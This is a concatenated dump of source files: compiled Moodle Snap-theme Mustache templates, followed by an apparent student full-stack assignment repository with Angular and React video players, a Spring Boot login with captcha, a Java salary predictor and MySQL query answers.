class __Mustache_4067297aaf6f07893836b0a77d959666 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '
';
$buffer .= $indent . '<div id="snap-coverimagecontrol">
';
$buffer .= $indent . ' <label tabindex="0" class="btn btn-sm btn-file btn-secondary state-visible" for="snap-coverfiles"><span>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section9e28db84f3c37e2aa8e634b114954092($context, $indent, $value);
$buffer .= '</span>
';
$buffer .= $indent . ' <input tabindex="-1" id="snap-coverfiles" name="snap-coverfiles[]" type="file" accept="';
$value = $this->resolveValue($context->find('accepttypes'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '"/>
';
$buffer .= $indent . ' </label>
';
$buffer .= $indent . ' <div id="snap-changecoverimageconfirmation">
';
$buffer .= $indent . ' <button class="btn btn-sm btn-success ok">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section85013410d02573b6024cadd85ef4af88($context, $indent, $value);
$buffer .= '</button>
';
$buffer .= $indent . ' <button class="btn btn-sm btn-danger cancel">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section41daf2a5bd82b6e0ae970791683f4776($context, $indent, $value);
$buffer .= '</button>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . '</div>
';
return $buffer;
}
private function section9e28db84f3c37e2aa8e634b114954092(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'changecoverimage, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'changecoverimage, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section85013410d02573b6024cadd85ef4af88(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'save, admin';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'save, admin';
$context->pop();
}
}
return $buffer;
}
private function section41daf2a5bd82b6e0ae970791683f4776(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'cancel, moodle';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'cancel, moodle';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_e4df02a25c9ea25e16e2226092e7ab13.php
<?php
class __Mustache_e4df02a25c9ea25e16e2226092e7ab13 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '<!-- TODO - not sure this is useful as a template seperate from course_toc -->
';
$buffer .= $indent . '<div class="toc-footer">
';
// 'canaddnewsection' section
$value = $context->find('canaddnewsection');
$buffer .= $this->section5041cfa7d189893a4cb1dd8eeb4705b9($context, $indent, $value);
$buffer .= $indent . ' <a href="#coursetools" id="snap-course-tools">
';
$buffer .= $indent . ' <img src="';
$value = $this->resolveValue($context->find('imgurltools'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" class="svg-icon" alt="" />';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionEbb4c8c810b5fd1ee97ff6e5fe010457($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </a>
';
$buffer .= $indent . '</div>
';
return $buffer;
}
private function section108d02d6da01ba4ae126081aa8d9e389(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'addanewsection, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'addanewsection, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section5041cfa7d189893a4cb1dd8eeb4705b9(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<a href="#snap-add-new-section" id="snap-new-section">
<img src="{{imgurladdnewsection}}" class="svg-icon" alt="" />{{#str}}addanewsection, theme_snap{{/str}}
</a>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <a href="#snap-add-new-section" id="snap-new-section">
';
$buffer .= $indent . ' <img src="';
$value = $this->resolveValue($context->find('imgurladdnewsection'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" class="svg-icon" alt="" />';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section108d02d6da01ba4ae126081aa8d9e389($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </a>
';
$context->pop();
}
}
return $buffer;
}
private function sectionEbb4c8c810b5fd1ee97ff6e5fe010457(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'coursetools, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'coursetools, theme_snap';
$context->pop();
}
}
return $buffer;
}
}
| eeb99c53f8052190b60a9f085043ac00b353b496 | [
"PHP"
] | 10 | PHP | GoodLvck/moodle-start | eadde148847b75e97e2b0527bf9d2e707817ab93 | ed1dca84d793de88a735b9bb5bc2dc0afaf4cc9d | |
refs/heads/master | <repo_name>keenkit/FullStack<file_sep>/springmvc/README.md
## Description
MVC login page with Capture
## Screenshot
1 . Login page
![Login](assets/login.png "Login")
2 . Registration page
![registration](assets/registration.png "registration")
3 . After login
![dummy](assets/dummy.png "dummy")
## How to run in intellij?
1 . Folder structure
![set1](assets/set1.png "set1")
2 . Project settings
![set2](assets/set2.png "set2")
3 . Embed tomcat
![set3](assets/set3.png "set3")
![set4](assets/set4.png "set4")<file_sep>/springboot/src/main/resources/schema.sql
CREATE TABLE tb_user (
user_id INTEGER GENERATED BY DEFAULT AS IDENTITY NOT NULL PRIMARY KEY,
name VARCHAR(50) not null,
email VARCHAR(50) not null,
username VARCHAR(50) unique not null,
password VARCHAR(60) not null,
admin boolean not null default FALSE
);<file_sep>/AngularVideoPlayer/src/app/models/player.model.ts
export enum PlayerEvent {
PLAY,
PAUSE,
MUTE,
STOP,
VOLUME_CHANGE,
LIKE,
UNLIKE,
}
export class VideoPlayer {
isMuted = true;
isPlaying = false;
volumeDisplay = '100%';
muted = false;
volume = 1;
currentTime = 0;
duration = 0;
src = '';
play(): void {}
pause(): void {}
timeupdate(): void {}
}
<file_sep>/007Mysql/README.md
## Assignment
Questions
1. **What should be done to make users pair insertion unique i.e. to avoid duplicate user relationship creation?**
Answer: Set user_one_id, user_two_id as primary key in table relationship.
2. **What will be the insert query to insert a new Friend request sent by user 1 to user 2?**
Answer:
```sql
Insert into relationship values (1, 2, 0, 1);
```
3. **What will be the query to update the status of the friend request i.e. accepting friend request sent to user 2 by user 1?**
Answer:
```sql
Update relationship set status = 1, action_user_id = 2 where user_one_id = 1 and user_two_id = 2;
```
4. **What will be the query to check if any two users are friends?**
Answer:
```sql
Select * from relationship where ((user_one_id = <user1> and user_two_id = <user2>) or (user_one_id = <user2> and user_two_id = <user1>)) and status = 1;
```
5. **What will be the query to retrieve all the users’friends? Here user 1 is the logged in user.**
Answer:
```sql
Select * from relationship where (user_one_id = 1 or user_two_id = 1) and status = 1;
```
6. **What will be the query to get the entire pending user request for the user from other users? Here user 1 is logged in**
Answer:
```sql
Select * from relationship where user_two_id = 1 and status = 0;
```
7. **What will be the query to retrieve the friend request status when the logged in user visits the profile of another user? Here, user 1 is the logged in user. User 1 visits the profile of user7**
Answer:
```sql
Select status from relationship where (user_one_id = 1 and user_two_id = 7) or (user_one_id = 7 and user_two_id = 1);
```
<file_sep>/springboot/src/main/resources/data.sql
insert into tb_user(name,email,username,password,admin) values
('admin', '<EMAIL>', 'admin', 'admin', TRUE),
('john', '<EMAIL>', 'john', 'john', FALSE);
<file_sep>/AngularVideoPlayer/src/app/models/video.model.ts
export class Video {
id = 0;
title = '';
url = '';
like = 0;
unlike = 0;
}
<file_sep>/AngularVideoPlayer/src/app/app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { PlayerComponent } from './modules/player/player.component';
import { ControlsComponent } from './modules/controls/controls.component';
import { PlaylistComponent } from './modules/playlist/playlist.component';
import { ModulesComponent } from './modules/modules.component';
import { ManagementComponent } from './modules/management/management.component';
import { NgxDatatableModule } from '@swimlane/ngx-datatable';
import { HttpClientModule } from '@angular/common/http';
@NgModule({
declarations: [
AppComponent,
PlayerComponent,
ControlsComponent,
PlaylistComponent,
ManagementComponent,
ModulesComponent,
],
imports: [
BrowserModule,
AppRoutingModule,
ReactiveFormsModule,
NgxDatatableModule,
HttpClientModule,
FormsModule,
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>/springboot/src/main/java/com/ibm/demo/service/UserService.java
package com.ibm.demo.service;
import com.ibm.demo.domain.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import java.util.List;
public interface UserService extends UserDetailsService {
List<User> findAllUsers();
User findByUsername(String username);
void updateUser(User user);
UserDetails loadUserByUsername(String username);
User saveUser(User user);
}
<file_sep>/springboot/README.md
## Description
Springboot login page with Capture
## Repository
https://github.com/keenkit/FullStack/tree/master/springboot
## Screenshot
1 . Login page
![Login](assets/login.png "Login")
2 . Registration page
![registration](assets/registration.png "registration")
3 . After login
![dummy](assets/dummy.png "dummy")<file_sep>/react-video-player/src/components/Playlist.js
import React from 'react';
import emitter from "../services/playerService";
import videoService from '../services/videoService';
class Playerlist extends React.Component {
constructor () {
super()
this.state = {
videos: []
}
}
componentWillMount() {
this.getVideos();
// Listen to the event from (adding/removing/editing videos)
this.eventEmitter = emitter.addListener("onRefreshVideos", (videos) => {
this.setState({
videos: videos
})
})
}
getVideos() {
videoService.getVideos()
.then(response => response.json())
.then(videos => {
this.setState({
videos: videos
})
})
}
onPlay(video) {
this.setState({
isPlaying: true
})
console.log(video);
emitter.emit("switch", video);
}
render() {
return (
<div className="media-player-list">
<h2>Play list</h2>
<ul className="list-group list-group-flush">
{
this.state.videos.map(
video =>
<li className="list-group-item" key={video.id} onClick={() => this.onPlay(video)}>
<i className="fas fa-video playlistItem"></i>
{video.title}
</li>
)
}
</ul>
</div>
);
}
}
export default Playerlist;<file_sep>/AngularVideoPlayer/README.md
# AngularVideoPlayer
The Angualr project for Video Player
Git: https://github.com/keenkit/FullStack/tree/master/AngularVideoPlayer
# How to run?
```
npm install
# Start the json-server:
json-server --watch db.json
# Start the app
ng serve
# Open the browser http://localhost:4200
```
# Demo
![Screenshot](assets/Player_Demo.png "Screenshot")
![Screenshot](assets/Management_Demo.png "Screenshot")<file_sep>/SalaryPredictor/src/assignment4/Increment.java
package assignment4;
import java.math.BigDecimal;
public class Increment extends AbstractSalary {
private int numberOfIncrements;
private BigDecimal incrementPercent;
private BigDecimal incrementAmount;
public Increment(double startingSalary, double incrementPercent, int numberOfIncrements) {
super(startingSalary);
this.incrementPercent = new BigDecimal(incrementPercent).setScale(2, BigDecimal.ROUND_HALF_UP);
this.numberOfIncrements = numberOfIncrements;
this.incrementAmount = BigDecimal.ZERO;
calcDeltaAmount();
}
private void calcDeltaAmount() {
BigDecimal currSal = startingSalary;
for (int i = 0; i<numberOfIncrements; i++) {
currSal = currSal.multiply(incrementPercent.add(HUNDRED).divide(HUNDRED));
}
this.incrementAmount = currSal.subtract(startingSalary).setScale(2, BigDecimal.ROUND_HALF_UP);
}
public int getNumberOfIncrements() {
return numberOfIncrements;
}
public BigDecimal getIncrementPercent() {
return incrementPercent;
}
public BigDecimal getIncrementAmount() {
return incrementAmount;
}
}
<file_sep>/react-video-player/README.md
# Description
The React project for Video Player
URL : https://github.com/keenkit/FullStack/tree/master/react-video-player
# How to run?
```
npm install
# Start the json-server:
json-server -p 4000 db.json
# Start the app
npm start
# Open localhost:3000
```
# Demo
![Screenshot](assets/demo.png "Screenshot")<file_sep>/AngularVideoPlayer/src/app/modules/player/player.component.ts
import { Component, OnInit, OnDestroy, ElementRef } from '@angular/core';
import { PlayerService } from 'src/app/services/player.service';
import { PlayerEvent, VideoPlayer } from 'src/app/models/player.model';
import { Subscription } from 'rxjs';
import { Video } from 'src/app/models/video.model';
@Component({
selector: 'app-player',
templateUrl: './player.component.html',
styleUrls: ['./player.component.scss']
})
export class PlayerComponent implements OnInit, OnDestroy {
private controlEventsSubscribe: Subscription;
private siwtchVideoEventSubscribe: Subscription;
public videoSourceUrl = 'http://vjs.zencdn.net/v/oceans.mp4'; // Default URL
public currentPlayingVideo: Video = new Video();
constructor(
private el: ElementRef,
private playerService: PlayerService) {}
ngOnInit() {
// Add event for timeupdate during playing video
this.el.nativeElement.querySelector('.media-video').addEventListener('timeupdate', () => {
const percentage = Math.floor((100 / this.playerService.VideoPlayer.duration)
* this.playerService.VideoPlayer.currentTime);
this.playerService.videoPercentageUpdateEvent.emit(percentage);
});
// Set up the videoPlayer instance in playerService
this.playerService.VideoPlayer = this.el.nativeElement.querySelector('.media-video');
this.controlEventsSubscribe = this.playerService.controlEvents.subscribe((event: PlayerEvent) => {
switch (event) {
case PlayerEvent.PLAY:
// Need to set to `muted` for autoplaying, otherwise will throw error.
// See more from
// https://stackoverflow.com/questions/40276718/how-to-handle-uncaught-in-promise-domexception-the-play-request-was-interru
this.playerService.VideoPlayer.muted = true;
this.playerService.VideoPlayer.play();
break;
case PlayerEvent.PAUSE:
this.playerService.VideoPlayer.pause();
break;
case PlayerEvent.STOP:
this.handleStopEvent();
break;
case PlayerEvent.MUTE:
this.handleMuteEvent();
break;
case PlayerEvent.VOLUME_CHANGE:
this.handleVolumeChange();
break;
}
});
this.siwtchVideoEventSubscribe = this.playerService.switchVideoEvent.subscribe((video: Video) => {
this.handleSwitchVideoEvent(video);
});
}
ngOnDestroy() {
this.controlEventsSubscribe.unsubscribe();
this.siwtchVideoEventSubscribe.unsubscribe();
}
private handleMuteEvent() {
this.playerService.VideoPlayer.muted = !this.playerService.VideoPlayer.muted;
}
private handleVolumeChange() {
this.playerService.VideoPlayer.volume = this.playerService.Volume;
}
private handleStopEvent() {
this.playerService.VideoPlayer.pause();
this.playerService.VideoPlayer.currentTime = 0;
}
private handleSwitchVideoEvent(video: Video) {
this.currentPlayingVideo = video;
this.playerService.VideoPlayer.src = video.url;
this.handleStopEvent();
this.playerService.controlEvents.emit(PlayerEvent.PLAY);
this.playerService.VideoPlayer.isPlaying = true; // For buttons style
}
}
<file_sep>/springboot/src/main/java/com/ibm/demo/service/UserServiceImpl.java
package com.ibm.demo.service;
import com.ibm.demo.dao.UserDao;
import com.ibm.demo.domain.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
@Service
public class UserServiceImpl implements UserService {
@Autowired
private UserDao userDao;
@Autowired
private PasswordEncoder encoder;
@Override
public List<User> findAllUsers() {
return userDao.findAll();
}
@Override
public User findByUsername(String username) {
return userDao.findByUsername(username);
}
@Override
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
User user = this.findByUsername(username);
if (user == null) {
throw new UsernameNotFoundException("User does not exist.");
}
GrantedAuthority roleUser = new SimpleGrantedAuthority("ROLE_USER");
Collection<GrantedAuthority> grantedAuths = new ArrayList<GrantedAuthority>();
grantedAuths.add(roleUser);
if (user.isAdmin()) {
GrantedAuthority roleAdmin = new SimpleGrantedAuthority("ROLE_ADMIN");
grantedAuths.add(roleAdmin);
}
return new org.springframework.security.core.userdetails.User(username, user.getPassword(), grantedAuths);
}
@Override
public User saveUser(User user) {
user.setPassword(encoder.encode(user.getPassword()));
return userDao.save(user);
}
@Override
public void updateUser(User user) {
user.setPassword(encoder.encode(user.getPassword()));
userDao.save(user);
}
}
<file_sep>/SalaryPredictor/src/assignment4/PredictionReport.java
package assignment4;
public class PredictionReport extends AbstractReport {
private static final String INCREMENT_AMOUNT = "Increment Amount";
private static final String DEDUCTION_AMOUNT = "Deduction Amount";
private static final String SALARY_GROWTH = "Salary Growth";
private Prediction[] predictions;
public PredictionReport(Prediction[] predictions) {
super(predictions.length);
this.predictions = predictions;
addToHeader(INCREMENT_AMOUNT);
addToHeader(DEDUCTION_AMOUNT);
addToHeader(SALARY_GROWTH);
}
public void print() {
printDivider();
printHeader();
printDivider();
for (int i = 0; i < year; i++) {
printLine(i + 1, predictions[i]);
printDivider();
}
}
private void printLine(int year, Prediction pred) {
printLine(year, new String[]{
pred.getStartingSalary().toPlainString(),
pred.getIncrementAmount().toPlainString(),
pred.getDeductionAmount().toPlainString(),
pred.getSalaryGrowth().toPlainString(),
});
}
}
<file_sep>/001VideoPlayer/README.md
## Description
Video Player for demo.
## Demo
![Screenshot](assets/example.png "Screenshot")
<file_sep>/springboot/src/main/java/com/ibm/demo/config/WebSecurityConfig.java
package com.ibm.demo.config;
import javax.servlet.Filter;
import javax.sql.DataSource;
import com.ibm.demo.security.KaptchaAuthenticationFilter;
import com.ibm.demo.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationProvider;
import org.springframework.security.authentication.dao.DaoAuthenticationProvider;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import org.springframework.security.web.authentication.rememberme.JdbcTokenRepositoryImpl;
import org.springframework.security.web.authentication.rememberme.PersistentTokenRepository;
@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Autowired
private UserService userService;
@Autowired
private DataSource dataSource;
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
public PersistentTokenRepository persistentTokenRepository() {
JdbcTokenRepositoryImpl tokenRepository = new JdbcTokenRepositoryImpl();
tokenRepository.setDataSource(dataSource);
tokenRepository.setCreateTableOnStartup(false);
return tokenRepository;
}
@Bean
public AuthenticationProvider authenticationProvider() {
DaoAuthenticationProvider authenticationProvider = new DaoAuthenticationProvider();
authenticationProvider.setUserDetailsService(userService);
authenticationProvider.setPasswordEncoder(passwordEncoder());
return authenticationProvider;
}
@Override
public void configure(WebSecurity web) throws Exception {
web.ignoring().requestMatchers(PathRequest.toStaticResources().atCommonLocations());
}
@Override
protected void configure(HttpSecurity http) throws Exception {
Filter filter = new KaptchaAuthenticationFilter("/login", "/login?error");
http.addFilterBefore(filter, UsernamePasswordAuthenticationFilter.class);
//allow same origin request from h2 console
http.headers().frameOptions().sameOrigin();
http
.authorizeRequests()
// Common locations for static resources.
.requestMatchers(PathRequest.toStaticResources().atCommonLocations()).permitAll()
.antMatchers("/","/register", "/captcha_image**", "/h2/**").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN")
.antMatchers("/user/**").hasRole("USER")
// every request requires the user to be authenticated
.anyRequest().authenticated()
.and()
// form based authentication is supported
.formLogin()
.loginPage("/login")
.defaultSuccessUrl("/user", true)
// we need to instruct Spring Security to allow anyone to access the /login URL
.permitAll()
.and()
// remember me
.rememberMe()
.tokenRepository(persistentTokenRepository())
.tokenValiditySeconds(3600 * 24)
.userDetailsService(userService)
.and()
// logout().permitAll() allows any user to request logout and view logout success URL.
.logout().permitAll();
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userService);
auth.authenticationProvider(authenticationProvider());
}
}
<file_sep>/001VideoPlayer/player.js
window.onload = function() {
var videoPlayer = document.getElementById('media-video');
var playBtn = document.getElementById('play-button');
var pauseBtn = document.getElementById('play-pause-button');
var muteBtn = document.getElementById('mute-button');
var progressBar = document.getElementById('progress-bar');
var likeBtn = document.getElementById('like-button');
var unlikeBtn = document.getElementById('unlike-button');
var likeSpan = document.getElementById('video-like');
var unlikeSpan = document.getElementById('video-unlike');
var volume = document.getElementById('video-volume');
var volUpBtn = document.getElementById('volume-up-button');
var volDownBtn = document.getElementById('volume-down-button');
var stopBtn = document.getElementById('stop-button');
var volume;
volume.innerText = '100%';
// disable default controls
videoPlayer.controls = false;
playBtn.addEventListener('click', function() {
videoPlayer.play();
playBtn.disable = true;
pauseBtn.disable = false;
});
pauseBtn.addEventListener('click', function() {
videoPlayer.pause();
playBtn.disable = false;
pauseBtn.disable = true;
});
muteBtn.addEventListener('click', function() {
if (videoPlayer.muted) {
muteBtn.innerHTML = '<i id="mute-icon" class="fas fa-volume-down">';
videoPlayer.muted = false;
} else {
muteBtn.innerHTML = '<i id="mute-icon" class="fas fa-volume-mute">';
videoPlayer.muted = true;
}
});
volUpBtn.addEventListener('click', function() {
if (videoPlayer.volume === 1) {
return;
}
videoPlayer.volume = videoPlayer.volume + 0.1;
videoPlayer.volume = parseFloat(videoPlayer.volume).toFixed(1);
volume.innerText = videoPlayer.volume * 100 + '%' ;
});
volDownBtn.addEventListener('click', function() {
if (videoPlayer.volume === 0) {
return;
}
videoPlayer.volume = videoPlayer.volume - 0.1;
videoPlayer.volume = parseFloat(videoPlayer.volume).toFixed(1);
volume.innerText = videoPlayer.volume * 100 + '%';
});
stopBtn.addEventListener('click', function() {
videoPlayer.pause();
videoPlayer.currentTime = 0;
playBtn.disable = true;
pauseBtn.disable = false;
stopBtn.disable = true;
});
videoPlayer.addEventListener('timeupdate', function() {
var percentage = Math.floor((100 / videoPlayer.duration) * videoPlayer.currentTime);
progressBar.setAttribute("style", "width: "+percentage + "%;");
progressBar.setAttribute("aria-valuenow", percentage);
progressBar.innerHTML = percentage + '% played';
}, false);
videoPlayer.addEventListener('ended', function() {
this.pause();
}, false);
likeBtn.addEventListener('click', function() {
if (localStorage.getItem('like')) {
localStorage.setItem('like', parseFloat(localStorage.getItem('like')) + 1);
likeSpan.innerText = localStorage.getItem('like');
} else {
localStorage.setItem('like', 0);
}
});
unlikeBtn.addEventListener('click', function() {
if (localStorage.getItem('unlike')) {
localStorage.setItem('unlike', parseFloat(localStorage.getItem('unlike')) + 1);
unlikeSpan.innerText = localStorage.getItem('unlike');
} else {
localStorage.setItem('unlike', 0);
}
});
resetLikeAndUnlike(likeSpan, 'like');
resetLikeAndUnlike(unlikeSpan, 'unlike');
/**
* The following code just for demo's purpose.
* All the data will be load automatically from JSON in real scenarios.
*/
var video1 = document.getElementById('video1');
var video2 = document.getElementById('video2');
var video3 = document.getElementById('video3');
video1.addEventListener('click', function() {
loadVideo(this, videoPlayer);
document.getElementById('media-player').style.height = "700px";
});
video2.addEventListener('click', function() {
loadVideo(this, videoPlayer);
document.getElementById('media-player').style.height = "700px";
});
video3.addEventListener('click', function() {
loadVideo(this, videoPlayer);
document.getElementById('media-player').style.height = "550px";
});
};
function resetLikeAndUnlike(elem, key) {
if (!localStorage.getItem(key)) {
localStorage.setItem(key, 0);
}
elem.innerText = localStorage.getItem(key);
}
function loadVideo(video, videoPlayer) {
videoPlayer.src = video.title;
videoPlayer.load();
videoPlayer.play();
}
<file_sep>/AngularVideoPlayer/src/app/models/constant.model.ts
export class Constants {
public static readonly VIDEO_URL = 'http://localhost:3000/videos';
}
<file_sep>/README.md
# FullStack
Remote git address:
https://github.com/keenkit/FullStack
For UI Assignment 1:
https://github.com/keenkit/FullStack/tree/master/001VideoPlayer
For UI Assignment 2:
https://github.com/keenkit/FullStack/tree/master/AngularVideoPlayer
For UI Assignment 3:
https://github.com/keenkit/FullStack/tree/master/react-video-player
For UI Assignment 4:
https://github.com/keenkit/FullStack/tree/master/SalaryPredictor
For UI Assignment 5:
https://github.com/keenkit/FullStack/tree/master/springmvc
For UI Assignment 6:
https://github.com/keenkit/FullStack/tree/master/springboot
For UI Assignment 7:
https://github.com/keenkit/FullStack/tree/master/007Mysql
<file_sep>/react-video-player/src/components/Management.js
import React from 'react';
import videoService from '../services/videoService';
import emitter from "../services/playerService";
class Management extends React.Component {
constructor (props) {
super(props)
this.state = {
videos: [],
id: '',
title: '',
url: '',
isCurrentRowEditable: false
}
this.handleChange = this.handleChange.bind(this)
this.handleSubmit = this.handleSubmit.bind(this)
}
handleChange(event) {
this.setState({
[event.target.name]: event.target.value
})
}
handleSubmit(event) {
const newVideo = {
id: Number(this.state.id),
title: this.state.title,
url: this.state.url,
like: 0,
unlike: 0
}
videoService.createVideo(newVideo)
.then(response => {
this.resetInput();
this.refreshVideos();
});
event.preventDefault();
}
resetInput = () => {
this.setState({
id: '',
title: '',
url: ''
});
}
componentWillMount() {
this.refreshVideos();
}
refreshVideos() {
videoService.getVideos()
.then(response => response.json())
.then(videos => {
this.setState({
videos: videos
})
// Notify the PlayList to update the video list.
emitter.emit('onRefreshVideos', videos);
})
}
onEditRow(video){
this.setState({
isCurrentRowEditable: true,
currentRowId: video.id,
});
}
onDeleteVideo(video) {
if (window.confirm(`Are you sure to remove the video ${video.title}?`)) {
videoService.deleteVideo(video.id)
.then(response => this.refreshVideos());
}
}
onApprove(video) {
const title = this.state.rowTitle || video.title;
const url = this.state.rowUrl || video.url;
const currentRowId = Number(this.state.currentRowId);
let toBeUpdatedVideo = this.state.videos.filter(v => v.id === currentRowId)[0];
toBeUpdatedVideo.title = title;
toBeUpdatedVideo.url = url;
console.log(toBeUpdatedVideo);
videoService.updateVideo(toBeUpdatedVideo.id, toBeUpdatedVideo)
.then(response => {
this.refreshVideos()
this.setState({
isCurrentRowEditable: false
});
});
}
render() {
return (
<div>
<h2>Add new video</h2>
<div className="row">
<div className="col-lg-6 mt-2 mb-5">
<form onSubmit={this.handleSubmit}>
<div className="form-group">
<label>ID:</label>
<input type="text" className="form-control"
value={this.state.id} name="id" onChange={this.handleChange} placeholder="Enter ID" />
</div>
<div className="form-group">
<label>Title:</label>
<input type="text" className="form-control"
value={this.state.title} name="title" onChange={this.handleChange} placeholder="Enter Title" />
</div>
<div className="form-group">
<label>Youtube URL:</label>
<input type="url" className="form-control"
value={this.state.url} name="url" onChange={this.handleChange} autoComplete="off" placeholder="Enter URL" />
</div>
<button type="submit" className="btn btn-primary">Add Video</button>
</form>
</div>
</div>
<div className="row">
<table className="table table-dark">
<thead>
<tr>
<th scope="col">S.no</th>
<th scope="col">Title</th>
<th scope="col">Url</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
{
this.state.videos.map(
video =>
<tr key={video.id}>
<th scope="row">
<label>{video.id}</label>
</th>
<td>
{
this.state.isCurrentRowEditable && video.id === this.state.currentRowId
?
<input className="form-control" type="text" name="rowTitle"
onChange={this.handleChange}
value={this.state.rowTitle ? this.state.rowTitle : video.title} />
:
<label>{video.title}</label>
}
</td>
<td>
{
this.state.isCurrentRowEditable && video.id === this.state.currentRowId
?
<input className="form-control" type="text" name="rowUrl"
onChange={this.handleChange}
value={this.state.rowUrl ? this.state.rowUrl : video.url} />
:
<label>{video.url}</label>
}
</td>
<td>
<div className="actions-container">
<div className="action">
<button className="btn btn-light" type="button" onClick={(e) => this.onEditRow(video)}>
Edit</button>
</div>
<div className="action">
<button className="btn btn-danger" type="button" onClick={() => this.onDeleteVideo(video)}>
Delete</button>
</div>
<div className="action">
<button className="btn btn-primary"
disabled={!(this.state.isCurrentRowEditable && video.id === this.state.currentRowId) }
type="button" onClick={(e) => this.onApprove(video)}>
Approve</button>
</div>
</div>
</td>
</tr>
)
}
</tbody>
</table>
</div>
</div>
);
}
}
export default Management;<file_sep>/AngularVideoPlayer/src/app/services/video.service.ts
import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
